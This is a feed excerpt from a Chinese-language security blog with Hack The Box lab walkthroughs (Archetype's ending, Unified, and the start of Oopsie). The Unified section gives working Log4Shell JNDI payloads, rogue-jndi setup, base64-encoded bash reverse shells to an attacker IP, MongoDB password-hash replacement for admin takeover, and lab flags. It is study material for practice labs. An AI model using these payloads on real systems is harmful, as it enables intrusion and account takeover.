&lt;/blockquote&gt;
&lt;p&gt;也可以psexec.py来提权&lt;/p&gt;
&lt;p&gt;psexec.py &lt;a href=&quot;mailto:administrator@10.10.10.27&quot;&gt;administrator@10.10.10.27&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/hackthebox/Archetype-19.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;执行 type C:\Users\Administrator\Desktop\root.txt 命令成功拿到System Own的Flag&lt;/p&gt;
 &lt;blockquote&gt;This rendering was automatically generated by Frosti Feed and may have formatting issues. For the best experience, please visit: &lt;a href=&quot;https://heathc1iff-sec.github.io/blog/hackthebox-mechine/archetype/&quot;&gt;https://heathc1iff-sec.github.io/blog/hackthebox-mechine/archetype/&lt;/a&gt;&lt;/blockquote&gt;</content:encoded><dc:creator>呼啸山庄</dc:creator><pubDate>Mon, 04 Mar 2024 00:00:00 GMT</pubDate></item><item><title>HTB-Unified</title><link>https://heathc1iff-sec.github.io/blog/hackthebox-mechine/unified/</link><guid isPermaLink="true">https://heathc1iff-sec.github.io/blog/hackthebox-mechine/unified/</guid><description>Hack the box</description><content:encoded>&lt;h2&gt;TASK 1&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/hackthebox/Unified-1.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;利用nmap扫描即可&lt;/p&gt;
&lt;h2&gt;TASK 2&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/hackthebox/Unified-2.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;查看8080网站标题即可&lt;/p&gt;
&lt;h2&gt;TASK 3&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/hackthebox/Unified-1.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/hackthebox/Unified-4.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/hackthebox/Unified-5.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;仔细观察登录窗口即可&lt;/p&gt;
&lt;h2&gt;TASK 4&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/hackthebox/Unified-6.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;这时候就要想到了既然给了一个cms框架，也知道具体版本，那么就可以去搜索一下这个版本的unifi有没有什么cve&lt;br&gt;果然，通过Google得知unifi 6.4.54存在漏洞CVE-2021-44228，是一个log4j漏洞&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/hackthebox/Unified-7.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;h2&gt;TASK 5&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/hackthebox/Unified-8.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;h3&gt;漏洞利用&lt;/h3&gt;
&lt;p&gt;&lt;a href=&quot;https://cloud.tencent.com/developer/article/1922132&quot;&gt;https://cloud.tencent.com/developer/article/1922132&lt;/a&gt;&lt;/p&gt;
&lt;h3&gt;漏洞复现&lt;/h3&gt;
&lt;p&gt;先测试一下是否有漏洞&lt;/p&gt;
&lt;p&gt;使用burp或者开发者工具抓取登录时的数据包，同时使用tcpdump抓取攻击机tun0的389端口&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;sudo tcpdump -i tun0 port 389
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;编辑登录数据包，在data的remember字段中把flase改成&lt;code&gt;&amp;quot;${jndi:ldap://10.10.16.20/whatever}&amp;quot;&lt;/code&gt;，重新发送数据包&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/hackthebox/Unified-9.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/hackthebox/Unified-10.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;成功接收到数据&lt;/p&gt;
&lt;h4&gt;环境搭建&lt;/h4&gt;
&lt;p&gt;在进行漏洞利用前，要先配置好漏洞利用环境&lt;br&gt;首先先安装jdk，之后再使用sudo apt-get install maven命令安装mvn&lt;br&gt;安装mvn是用于编译rogue-jndi&lt;/p&gt;
&lt;p&gt;什么是rogue-jndi？&lt;br&gt;rogue-jndi会开启一个本地的LDAP服务器，允许我们接收来自有漏洞的服务器的连接并执行恶意代码&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;git clone https://github.com/veracode-research/rogue-jndi
cd rogue-jndi
mvn package
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这里踩坑了&lt;/p&gt;
&lt;p&gt;maven需要换国内源&lt;/p&gt;
&lt;p&gt;查教程搞了半天才搞好&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/hackthebox/Unified-11.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/hackthebox/Unified-2.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;这时我们成功拿到了RogueJndi的jar包&lt;/p&gt;
&lt;h3&gt;漏洞原理&lt;/h3&gt;
&lt;p&gt;此 Log4J 漏洞可通过注入操作系统命令 (OS Command Injection) 来利用，这是一种 Web &lt;a href=&quot;https://so.csdn.net/so/search?q=%E5%AE%89%E5%85%A8%E6%BC%8F%E6%B4%9E&amp;spm=1001.2101.3001.7020&quot;&gt;安全漏洞&lt;/a&gt;，允许攻击者在运行应用程序的服务器上执行任意操作系统命令，通常会完全破坏应用程序并破坏其数据。&lt;/p&gt;
&lt;p&gt;JDIN（Java Distributed INterfaces）是一种用于创建分布式应用程序的Java框架。它提供了一组API和工具，用于在分布式环境中创建和管理对象。JDIN旨在简化分布式系统的开发，通过提供通信和远程对象访问的机制，使开发人员能够更轻松地构建分布式应用程序。&lt;/p&gt;
&lt;p&gt;LDAP（轻量目录访问协议）是一种用于访问和维护分布式目录信息的协议。它通常用于管理用户身份验证、访问控制和资源配置等信息。LDAP提供了一种层次结构的数据模型，类似于文件系统中的目录结构，其中包含了各种类型的数据条目。LDAP客户端可以通过LDAP协议与LDAP服务器进行通信，执行查询、添加、修改和删除条目等操作。&lt;/p&gt;
&lt;p&gt;在实际应用中，JDIN和LDAP可以一起使用，以构建具有分布式功能的应用程序并管理用户身份验证和访问控制。例如，可以使用JDIN来开发分布式系统的业务逻辑，并使用LDAP来存储和管理用户信息、权限和配置信息。通过将这两种技术结合使用，开发人员可以构建强大的分布式应用程序，同时实现灵活的身份验证和访问控制机制。&lt;/p&gt;
&lt;p&gt;JNDI注入：&lt;/p&gt;
&lt;p&gt;动态协议转换：JNDI提前有配置初始化环境，设置了属性，但是当lookup()里传进来的参数协议与初始化的Context里配置的协议不一致时，就会动态的进行转换来查找传进去的参数，并且不会报错，所以当参数可控时，攻击者可以通过提供一个恶意的url地址来控制受害者加载攻击者指定的恶意类。&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-java&quot;&gt;ctx.lookup(&amp;quot;rmi://your-server/refObj&amp;quot;);// 初始化的
ctx.lookup(&amp;quot;ldap://your-server/cn=bar,dc=test,dc=org&amp;quot;);//实际上传进来的
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;命名引用&lt;/strong&gt;：Java为了将Object对象存储在Naming（命名）或Directory（目录）服务下，提供了Naming Reference（命名引用）功能，对象可以通过绑定Reference类存储在Naming或Directory服务下，比如RMI、LDAP等。&lt;/p&gt;
&lt;p&gt;有点超链接的感觉&lt;/p&gt;
&lt;p&gt;总结：&lt;/p&gt;
&lt;p&gt;在LDAP中可以存储外部的资源，叫做命名引用，对应Reference类。比如远程HTTP服务的一个.class文件&lt;/p&gt;
&lt;p&gt;如果JNDI客户端基于LDAP服务，找不到相应的资源，就会去LDAP中默认指定的地址请求（初始化配置的），如果是命名引用，会将这个文件下载到本地。&lt;/p&gt;
&lt;p&gt;如果下载的.class文件包含无参构造函数或静态代码块，加载的时候会自动执行。因为下载之后会进行自动实例化。&lt;/p&gt;
&lt;p&gt;在使用Reference时，我们可以直接将对象传入构造方法中，当被调用时，对象的方法就会被触发，创建Reference实例时几个比较关键的属性：&lt;/p&gt;
&lt;p&gt;**className：**远程加载时所使用的类名；&lt;/p&gt;
&lt;p&gt;**classFactory：**加载的class中需要实例化类的名称；&lt;/p&gt;
&lt;p&gt;**classFactoryLocation：**远程加载类的地址，提供class数据的地址可以是file/ftp/http等协议；&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Log4j2 rce原理&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;首先log4j打印日志有四个级别：debug、info、warn、error，不管哪个方法打印日志，在正常的log处理过程中，对KaTeX parse error: Expected &amp;#39;}&amp;#39;, got &amp;#39;EOF&amp;#39; at end of input: …。 一旦在log字符串中检测到{}，就会解析其中的字符串尝试使用lookup查询，因此只要能控制log参数内容，就有机会实现漏洞利用。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/hackthebox/Unified-13.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;修复思路&lt;/p&gt;
&lt;p&gt;1、禁止用户请求参数中出现攻击关键字&lt;/p&gt;
&lt;p&gt;2、禁止lookup下载远程文件（命名引用）&lt;/p&gt;
&lt;p&gt;3、禁止log4j的应用连接外网&lt;/p&gt;
&lt;p&gt;4、禁止log4j使用lookup&lt;/p&gt;
&lt;p&gt;2.15版本修复方法：&lt;/p&gt;
&lt;p&gt;修复后log4j2在jndi lookup中增加了很多限制：&lt;/p&gt;
&lt;p&gt;默认不再支持二次跳转（命名引用）的方式获取对象&lt;/p&gt;
&lt;p&gt;只有在log4j2.allowedLdapClasses列表中指定的class才能获取&lt;/p&gt;
&lt;p&gt;只有远程地址是本地或者在log4j2.allowedLdapHosts列表中指定的地址才能获取&lt;/p&gt;
&lt;p&gt;综上所述我们可以知道&lt;strong&gt;JNDI 在注入中利用 LDAP协议&lt;/strong&gt;&lt;/p&gt;
&lt;h2&gt;TASK 6&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/hackthebox/Unified-14.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;Tcpdump&lt;/p&gt;
&lt;p&gt;刚刚示范的那样tcpdump抓取攻击机tun0的389端口&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;sudo tcpdump -i tun0 port 389
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;编辑登录数据包，在data的remember字段中把flase改成&lt;code&gt;&amp;quot;${jndi:ldap://10.10.16.20/whatever}&amp;quot;&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;接收到数据&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;TCPDump 是一个功能强大的网络抓包工具，它可以截取网络数据包并将其显示或保存为文件。它在网络诊断和分析中非常有用，可以帮助网络管理员和安全专家了解网络流量，排查问题，分析网络性能，以及进行安全审计等。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;TASK 7&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/hackthebox/Unified-15.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;389端口&lt;/p&gt;
&lt;h2&gt;TASK 8&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/hackthebox/Unified-16.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;看到这道题基本清楚要开始漏洞复现了&lt;/p&gt;
&lt;h3&gt;漏洞复现&lt;/h3&gt;
&lt;p&gt;现在我们可以构造payload以传递给 RogueJndi-1-1.jar Java 应用程序。&lt;/p&gt;
&lt;p&gt;要使用 Rogue-JNDI 服务器，我们必须构造并传递一个payload，该payload将负责在目标系统上为我们提供一个 shell。对payload进行 Base64 编码，以防止出现任何编码问题。&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;echo &amp;#39;bash -c bash -i &amp;gt;&amp;amp;/dev/tcp/your_tun0_ip/port 0&amp;gt;&amp;amp;1&amp;#39; | base64
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;打印出一串base64编码的字符&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;YmFzaCAtYyBiYXNoIC1pID4mL2Rldi90Y3AvMTAuMTAuMTYuMjAvNDQzIDA+JjEK
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;接下来使用RogueJndi-1.1.jar并监听4444端口&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;java -jar target/RogueJndi-1.1.jar --command &amp;quot;bash -c {echo,YmFzaCAtYyBiYXNoIC1pID4mL2Rldi90Y3AvMTAuMTAuMTYuMjAvNDQzIDA+JjEK}|{base64,-d}|{bash,-i}&amp;quot; --hostname &amp;quot;10.10.16.20&amp;quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/hackthebox/Unified-17.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;利用tomcat传参&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;ldap://10.10.16.20:1389/o=tomcat

&amp;quot;${jndi:ldap://10.10.16.20:1389/o=tomcat/whatever}&amp;quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;按理来讲应该getshell了呀，为什么不弹呢，重新来一次吧&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;echo &amp;#39;bash -c bash -i &amp;gt;&amp;amp;/dev/tcp/10.10.16.20/4433 0&amp;gt;&amp;amp;1&amp;#39; | base64
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;YmFzaCAtYyBiYXNoIC1pID4mL2Rldi90Y3AvMTAuMTAuMTYuMjAvNDQzMyAwPiYxCg==
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;java -jar target/RogueJndi-1.1.jar --command &amp;quot;bash -c {echo,YmFzaCAtYyBiYXNoIC1pID4mL2Rldi90Y3AvMTAuMTAuMTYuMjAvNDQzMyAwPiYxCg==}|{base64,-d}|{bash,-i}&amp;quot; --hostname &amp;quot;10.10.16.20&amp;quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;ldap://10.10.16.20:1389/o=tomcat

&amp;quot;${jndi:ldap://10.10.16.20:1389/o=tomcat/whatever}&amp;quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;还是不弹，见鬼了&lt;/p&gt;
&lt;p&gt;再来！！&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;echo &amp;#39;bash -c bash -i &amp;gt;&amp;amp;/dev/tcp/10.10.16.20/4444 0&amp;gt;&amp;amp;1&amp;#39; | base64
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;YmFzaCAtYyBiYXNoIC1pID4mL2Rldi90Y3AvMTAuMTAuMTYuMjAvNDQ0NCAwPiYxCg==
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;java -jar target/RogueJndi-1.1.jar --command &amp;quot;bash -c {echo,YmFzaCAtYyBiYXNoIC1pID4mL2Rldi90Y3AvMTAuMTAuMTYuMjAvNDQ0NCAwPiYxCg==}|{base64,-d}|{bash,-i}&amp;quot; --hostname &amp;quot;10.10.16.20&amp;quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;呜呜终于弹了&lt;/p&gt;
&lt;p&gt;原来是多打了个whatever导致的&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;&amp;quot;${jndi:ldap://10.10.16.20:1389/o=tomcat}&amp;quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/hackthebox/Unified-18.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;由于不是交互式shell看着难受咱们可以改一下&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;SHELL=/bin/bash script -q /dev/null : 
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;使用&lt;strong&gt;ps aux&lt;/strong&gt;查看系统有哪些进程，发现27117端口存在mongodb数据库&lt;/p&gt;
&lt;blockquote&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;a&lt;/strong&gt;：表示显示所有用户的进程，而不仅仅是当前用户的进程。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;u&lt;/strong&gt;：表示以用户为主要输出格式，并显示与进程相关的详细信息，如用户、进程ID（PID）、CPU使用率、内存使用情况、启动时间、进程状态等。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;x&lt;/strong&gt;：表示显示不与终端关联的进程。通常情况下，&lt;strong&gt;ps&lt;/strong&gt; 命令只会显示与当前终端相关的进程，而使用 &lt;strong&gt;x&lt;/strong&gt; 选项可以显示所有进程，包括那些不与终端关联的后台进程。&lt;/li&gt;
&lt;/ul&gt;
&lt;/blockquote&gt;
&lt;hr&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/hackthebox/Unified-19.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;由于看的界面非常小，所以我们将这个输出到文档里，之后cat进行查看&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;ps aux &amp;gt; process_list.txt
cat process_list.txt
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/hackthebox/Unified-20.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;可以看见端口在27117开放&lt;/p&gt;
&lt;h2&gt;TASK 9&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/hackthebox/Unified-21.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;mongodb --port 2717
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;直接本地进行连接数据库&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/hackthebox/Unified-22.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;show dbs一下&lt;/p&gt;
&lt;p&gt;发现默认数据库名字为ace&lt;/p&gt;
&lt;h2&gt;TASK 10&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/hackthebox/Unified-23.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-javascript&quot;&gt;db.admin.find()
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;TASK 11&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/hackthebox/Unified-24.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-javascript&quot;&gt;db.admin.update()
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;TASK 12&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/hackthebox/Unified-25.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/hackthebox/Unified-26.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;发现admin的账号以及密码&lt;/p&gt;
&lt;p&gt;发现存在administrator，但是由于密码是进过sha512加密后的结果，我们并不能直接得到密码&lt;br&gt;同时由于加密强度很高，我们只能通过hash碰撞破解密码，但是成功率也很低&lt;br&gt;这时想到可以把administrator的密码修改成弱密码如password&lt;br&gt;先使用&lt;strong&gt;mkpasswd -m sha-512 password&lt;/strong&gt;命令，得到password的sha512加密后的值&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;$6$H/9uby/SS.lqTZt1$AxcFwPi8z5MpDd1D7Efv/xrEiPE2TZxKHKqOVk//b/salsNhZfwY2jtKfUQPdsJU8RXCl7iP9NzPD6YDnGeae0
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-javascript&quot;&gt;db.admin.insert({

  &amp;quot;email&amp;quot;: &amp;quot;pilgrim@localhost.local&amp;quot;,

  &amp;quot;last_site_name&amp;quot;: &amp;quot;default&amp;quot;,

  &amp;quot;name&amp;quot;: &amp;quot;unifiadmin&amp;quot;,

  &amp;quot;time_created&amp;quot;: NumberLong(100019800), 

  &amp;quot;x_shadow&amp;quot;: &amp;quot;$6$H/9uby/SS.lqTZt1$AxcFwPi8z5MpDd1D7Efv/xrEiPE2TZxKHKqOVk//b/salsNhZfwY2jtKfUQPdsJU8RXCl7iP9NzPD6YDnGeae0&amp;quot;

})
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/hackthebox/Unified-27.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;执行成功后寻找刚刚添加的用户&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-javascript&quot;&gt;db.admin.find().forEach(printjson);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/hackthebox/Unified-28.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;id 65e48cdb4a29d756feab4d2a&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;查看一下网站的用户的详细信息&lt;/strong&gt;  &lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-javascript&quot;&gt;db.site.find().forEach(printjson);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这里由于不回显导致无法进行下一步（按理来说应该回显的）&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;将我们插入的用户绑定到这个网站上去，其中的admin_id就是自己添加的用户的id，site_id就是上面获取的id&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-javascript&quot;&gt;db.privilege.insert({&amp;quot;admin_id&amp;quot;:&amp;quot;xxxx&amp;quot;,&amp;quot;permisions&amp;quot;:[],&amp;quot;role&amp;quot;:&amp;quot;admin&amp;quot;,&amp;quot;site_id&amp;quot;:&amp;quot;xxxx&amp;quot;});
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;接着去后台登录的页面登录刚才的账号，密码是自己设置的密码。&lt;/p&gt;
&lt;p&gt;在setting中能知道root的密码如下：&lt;br&gt;NotACrackablePassword4U2022然后ssh登录就行了&lt;/p&gt;
&lt;p&gt;这里由于无法回显咱们换一个方法&lt;/p&gt;
&lt;p&gt;先使用&lt;strong&gt;mkpasswd -m sha-512 password&lt;/strong&gt;命令，得到password的sha512加密后的值&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;$6$6LGfhVdE.SrlGbsq$j///PNBrdvqlNnL35Lqoowj51HgTmEiw1vKfCZDUq9BoGq9Dk3E4pIXufMWz6cmRQV6lYctTpYQwAe15PWYN3/
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;将administrator的密码修改为password&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;mongo --port 27117 ace --eval &amp;#39;db.admin.update({&amp;quot;_id&amp;quot;:ObjectId(&amp;quot;61ce278f46e0fb0012d47ee4&amp;quot;)},{$set：{&amp;quot;x_shadow&amp;quot;:&amp;quot;$$6$6LGfhVdE.SrlGbsq$j///PNBrdvqlNnL35Lqoowj51HgTmEiw1vKfCZDUq9BoGq9Dk3E4pIXufMWz6cmRQV6lYctTpYQwAe15PWYN3/&amp;quot;}})&amp;#39;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;再使用修改后的密码登录网站，登录成功&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/hackthebox/Unified-29.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;后台设置里看到ssh密码&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/hackthebox/Unified-30.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;NotACrackablePassword4U2022&lt;/p&gt;
&lt;p&gt;ssh远程连接后以为root用户，提权成功&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;ssh root@10.129.45.240
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;user.txt

6ced1a6a89e666c0620cdb10262ba127

root.txt

e50bc93c75b634e4b272d2f771c33681
&lt;/code&gt;&lt;/pre&gt;
 &lt;blockquote&gt;This rendering was automatically generated by Frosti Feed and may have formatting issues. For the best experience, please visit: &lt;a href=&quot;https://heathc1iff-sec.github.io/blog/hackthebox-mechine/unified/&quot;&gt;https://heathc1iff-sec.github.io/blog/hackthebox-mechine/unified/&lt;/a&gt;&lt;/blockquote&gt;</content:encoded><dc:creator>呼啸山庄</dc:creator><pubDate>Sun, 03 Mar 2024 00:00:00 GMT</pubDate></item><item><title>HTB-Oopsie</title><link>https://heathc1iff-sec.github.io/blog/hackthebox-mechine/oopsie/</link><guid isPermaLink="true">https://heathc1iff-sec.github.io/blog/hackthebox-mechine/oopsie/</guid><description>Hack the box</description><content:encoded>&lt;h2&gt;TASK 1&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/hackthebox/Oopsie-1.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;h2&gt;TASK 2&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/hackthebox/Oopsie-2.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;先用nmap扫描下ip&lt;/p&gt;
&lt;p&gt; &lt;img src=&quot;https://heathc1iff-sec.github.io/image/hackthebox/Oopsie-3.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;可以看到80端口开放，尝试访问&lt;/p&gt;
&lt;p&gt;使用dirsearch进行扫描&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/hackthebox/Oopsie-4.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;没扫出什么有用的消息&lt;/p&gt;
&lt;p&gt;uploads网页又不给访问&lt;/p&gt;
&lt;p&gt;审查一下主站的源码&lt;/p&gt;
&lt;p&gt;发现了这个&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/hackthebox/Oopsie-5.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;尝试了下没什么用&lt;/p&gt;
&lt;p&gt;再去瞅瞅&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/hackthebox/Oopsie-6.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;发现了登录接口，去掉script.js即可&lt;/p&gt;
&lt;h2&gt;TASK 3&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/hackthebox/Oopsie-7.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;答案是cookie&lt;/p&gt;
&lt;h2&gt;TASK 4&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/hackthebox/Oopsie-8.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;这里尝试了下admin/admin弱口令失败&lt;/p&gt;
&lt;p&gt;直接使用guest账户进行登录&lt;/p&gt;
&lt;p&gt;在点击上面栏目表时发现url框里id为2&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/hackthebox/Oopsie-9.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;尝试修改为1&lt;/p&gt;
&lt;p&gt;成功得到adminID&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/hackthebox/Oopsie-10.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;这里我们尝试吧cookie值修改为admin账户&lt;/p&gt;
&lt;p&gt;第一遍没有成功，第二遍成功了&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/hackthebox/Oopsie-11.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;h2&gt;TASK 5&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/hackthebox/Oopsie-12.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
